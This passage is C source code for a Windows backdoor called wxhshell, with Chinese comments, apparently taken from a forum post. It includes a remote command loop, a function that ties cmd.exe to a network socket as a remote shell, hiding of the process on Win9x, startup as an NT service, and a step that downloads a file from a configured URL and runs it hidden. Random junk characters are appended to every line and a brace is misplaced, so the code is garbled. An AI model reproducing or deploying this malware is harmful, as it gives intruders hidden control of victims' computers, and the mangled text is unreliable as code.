    break; cW26TtU(  
  } D +N{'d?+  
  // 安装 %Ox*?l _  
  case 'i': { ?A2#V(4  
    if(Install()) 5X nA.?F^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {G/4#r 2>  
    else ?H0 #{!s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &I:5<zK{  
    break; 3F[z]B  
    } 1N1MD@C?P  
  // 卸载 4{X5ZS?CkI  
  case 'r': { 5)2lZ(5.A#  
    if(Uninstall()) zy8W8h(?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +I5@Gys  
    else eL#pS=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y0M^oLx  
    break; 5"c#O U  
    } &$qqF&  
  // 显示 wxhshell 所在路径 QK% {\qu  
  case 'p': { OCa74)(  
    char svExeFile[MAX_PATH]; d11~ mU\  
    strcpy(svExeFile,"\n\r"); 5K;jW  
      strcat(svExeFile,ExeFile); ~0!s5  
        send(wsh,svExeFile,strlen(svExeFile),0); bB->\  
    break; TV#pUQ3K  
    } g03I<<|@  
  // 重启 F# y5T3(P  
  case 'b': { hoD (G X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u8v;O}#  
    if(Boot(REBOOT)) a"0Xam  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S j)&!  
    else { 0j7W\'!t  
    closesocket(wsh); BYyR-m  
    ExitThread(0); p./zW )7+  
    } x/#* M  
    break; >pbO\=j]X  
    } LS+ _y <v=  
  // 关机 "e0$/WQ6J  
  case 'd': { OySIp[{tJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qn ME|j\  
    if(Boot(SHUTDOWN)) /=*h\8c~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t)=u}t$  
    else { 6x^#|;e>lI  
    closesocket(wsh); y-)|u:~h  
    ExitThread(0); &{]zL  
    } #pErGz'{  
    break; `6)GjZh^  
    } Vi?[yu<F  
  // 获取shell 93$'PwWgiF  
  case 's': { 1\=)b< y  
    CmdShell(wsh); C,P>7  
    closesocket(wsh); Pb]: i+c)  
    ExitThread(0); %# ?)+8"l  
    break; IKMkpX!]  
  } R7r` (c!  
  // 退出 HJo&snT3  
  case 'x': { :$~)i?ge<5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3'}(:X(  
    CloseIt(wsh); "9jt2@<  
    break; X9K@mX  
    } C}<j8a?  
  // 离开 3vfm$sx@  
  case 'q': { uPr'by  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2w>WS#  
    closesocket(wsh); PTWP7A[  
    WSACleanup(); (/Lo44wT  
    exit(1); 6oMU) DIa  
    break; SMY,bU'a  
        } !}<d6&!py  
  } 5I`j'j  
  } 3} @3pVS  
c>#T\AEkF  
  // 提示信息 jNhiY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %4|*  
} gHpA@jdC*  
  } v;AsV`g  
}:<`L\8q\  
  return; 4$#nciAe  
} tgSl (.  
it.Lh'N;T  
// shell模块句柄 UmUw>+A  
int CmdShell(SOCKET sock) SR)G!9z_/  
{ >?aPX C  
STARTUPINFO si; /'k4NXnW3  
ZeroMemory(&si,sizeof(si)); [-5%[ty9X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sio^FOTD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0tyoH3o/d  
PROCESS_INFORMATION ProcessInfo; z SDRZ!  
char cmdline[]="cmd"; 4r&DW'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W=:4I[a6Q  
  return 0; r6S-G{o  
} XVr>\T4  
QVLv}w`O  
// 自身启动模式 z*n  
int StartFromService(void) Yef=HSzo  
{ (8T36pt~  
typedef struct `Sgj!/! F  
{ "Zm**h.t  
  DWORD ExitStatus;  kDbDG,O  
  DWORD PebBaseAddress; m}ZkNWH  
  DWORD AffinityMask; E[q:65xl  
  DWORD BasePriority; E-gI'qG\(  
  ULONG UniqueProcessId; {w:*t)@j  
  ULONG InheritedFromUniqueProcessId; U4)x"s[CP  
}   PROCESS_BASIC_INFORMATION; :0@R(ct;>  
/e5' YVP  
PROCNTQSIP NtQueryInformationProcess; cq:<,Ke  
WzG]9$v &  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; omz%:'m`~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j3>0oe!  
KYa}k0tVAp  
  HANDLE             hProcess; Q+@/.qJ  
  PROCESS_BASIC_INFORMATION pbi; [A~n=m5H  
k{\wjaf)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DwSB(O#X  
  if(NULL == hInst ) return 0; DEJ0<pnQr  
p[oR4 HWr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <L'!EcHm%]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v~E\u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )S?.YCv?  
6d~[j <@2  
  if (!NtQueryInformationProcess) return 0; N{+6V`\  
:&SvjJR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K^32nQX  
  if(!hProcess) return 0; 5i71@?q;  
 PL"u^G`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TwPp Z@  
D)shWJRlvW  
  CloseHandle(hProcess); wavyREK   
MpY/G%3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P"*#mH[W|  
if(hProcess==NULL) return 0; cft/;A u{  
p>M8:,  
HMODULE hMod; m\*;Fx  
char procName[255]; f2h`bO  
unsigned long cbNeeded; Ln-UN$2~F  
M2Q*#U>6r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L#huTKX}  
JG^fu*K  
  CloseHandle(hProcess); wFbw3>'a9  
`-_kOxe3  
if(strstr(procName,"services")) return 1; // 以服务启动 PFR64HK2  
up_Qv#`Q  
  return 0; // 注册表启动 +"}#4  
} B`{7-Asc1  
?,XrZRF  
// 主模块 (:Y0^  
int StartWxhshell(LPSTR lpCmdLine) X|&v]mJ  
{ ,c]<Yu  
  SOCKET wsl; IKo,P$ PE  
BOOL val=TRUE; hW<TP'Zm*  
  int port=0; w-{a>ZU0  
  struct sockaddr_in door; Yt]Y(  
jJ.isr|`  
  if(wscfg.ws_autoins) Install(); ATRB9  
6(pa2  
port=atoi(lpCmdLine); 0*J},#ba$  
1&Z#$iD  
if(port<=0) port=wscfg.ws_port; ] 6Y6q])Z  
x)+ q$FB  
  WSADATA data;  " fXs!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pk ?M~{S  
4H9mKR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P>U7RX e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uKA-<nM._c  
  door.sin_family = AF_INET; F ?N+ __o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _a]0<Vm C0  
  door.sin_port = htons(port); evSr?ys  
} "QL"%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wf!u?nH.5  
closesocket(wsl); J;DTh ]z?:  
return 1; 5ho!}K  
} aM5Hp>'nI  
L l$,"}0T  
  if(listen(wsl,2) == INVALID_SOCKET) { Vq&}i~  
closesocket(wsl); * lo0T93B  
return 1; #i;y[dQ  
} MSqW {  
  Wxhshell(wsl); U{,:-R  
  WSACleanup(); b?U2g?lN:  
[iXkv\  
return 0; 61SbBJ6[  
=w;~1i% .k  
} ~J:qG9|]}  
zhZ!!b^6<  
// 以NT服务方式启动 aG&t gD{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OC6v%@xa  
{ B;64(Vsa8  
DWORD   status = 0; 2}uSrA7n]  
  DWORD   specificError = 0xfffffff; 2rGg  
4k_y;$4WN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Je*hyi7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^ *1hz<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0/5{v6_rG  
  serviceStatus.dwWin32ExitCode     = 0; d_1uv_P  
  serviceStatus.dwServiceSpecificExitCode = 0; GIM'H;XG  
  serviceStatus.dwCheckPoint       = 0; WSxE/C|[  
  serviceStatus.dwWaitHint       = 0; dbG902dR  
G2 0   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]?*'[  
  if (hServiceStatusHandle==0) return; wh2Ljskda8  
b"JX6efnN  
status = GetLastError(); GHR r+  
  if (status!=NO_ERROR) XXg~eu?  
{ 4+B&/}FDLo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tk\)]kj  
    serviceStatus.dwCheckPoint       = 0; frRO?  
    serviceStatus.dwWaitHint       = 0; bLsN?_jy  
    serviceStatus.dwWin32ExitCode     = status; 7pO/!Lm  
    serviceStatus.dwServiceSpecificExitCode = specificError; X1XmaO% A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ">FuCvQ  
    return; qFE(H1hy  
  } Mi<l;ZP  
sl_f+h0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +JejnG0  
  serviceStatus.dwCheckPoint       = 0; Ake$M^Bz  
  serviceStatus.dwWaitHint       = 0; Yln[ZmK9g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !NO)|N>  
} aZ'(ar :  
|hD)=sCj  
// 处理NT服务事件,比如:启动、停止 g[L}puN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P$v9  
{ y=&^=Z h[  
switch(fdwControl) LI9 Uc\  
{ @(CJT-Ak  
case SERVICE_CONTROL_STOP: E$C0\O!7  
  serviceStatus.dwWin32ExitCode = 0; m%%\k \  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VmON}bb[zz  
  serviceStatus.dwCheckPoint   = 0; Z8I0v$LjR  
  serviceStatus.dwWaitHint     = 0; =rN_8&  
  { 9Pql\]9"o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6KE?@3;Om  
  } U>hpYqf_  
  return; UO( ?EELm  
case SERVICE_CONTROL_PAUSE: SnVb D<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~o27~R ]  
  break; VXO.S)v2J  
case SERVICE_CONTROL_CONTINUE: b *Ca*!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |xFSGrC  
  break; }qg.Go  
case SERVICE_CONTROL_INTERROGATE: m](q,65 2  
  break; JN-W`2  
}; -ZH6*7!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ay|K>8z   
} ]$)U~)T iW  
=gAn;~  
// 标准应用程序主函数 &hnKBr(Lw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L=&dJpyfT  
{ yq6:7<  
(5GjtFojY|  
// 获取操作系统版本 i#%!J:_=  
OsIsNt=GetOsVer(); i:2e J.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cH`ziZ<&m1  
]p*Fq^  
  // 从命令行安装 | $D`*  
  if(strpbrk(lpCmdLine,"iI")) Install(); RYV:?=D7s  
9+!"[  
  // 下载执行文件 u}|+p+  
if(wscfg.ws_downexe) { {-l:F2i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |3C5"R3ZGO  
  WinExec(wscfg.ws_filenam,SW_HIDE); W3A9uk6  
} &Fh#otH_  
>JHQA1mX  
if(!OsIsNt) { )\+1*R|H}  
// 如果时win9x,隐藏进程并且设置为注册表启动 "H|hN  
HideProc(); lNx:_g:SrZ  
StartWxhshell(lpCmdLine); *n_7~ZX  
} J0 UF(  
else O^r,H,3S  
  if(StartFromService()) j[|mC;y.  
  // 以服务方式启动 ~m&q@ms&  
  StartServiceCtrlDispatcher(DispatchTable); /-Y.A<ieN8  
else 7gQ 2dp  
  // 普通方式启动 #\&64  
  StartWxhshell(lpCmdLine); 2}6StmE }  
^q\9HBHT  
return 0; K?6#jT6#  
}
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只看该作者 1 发表于: 2006-10-10
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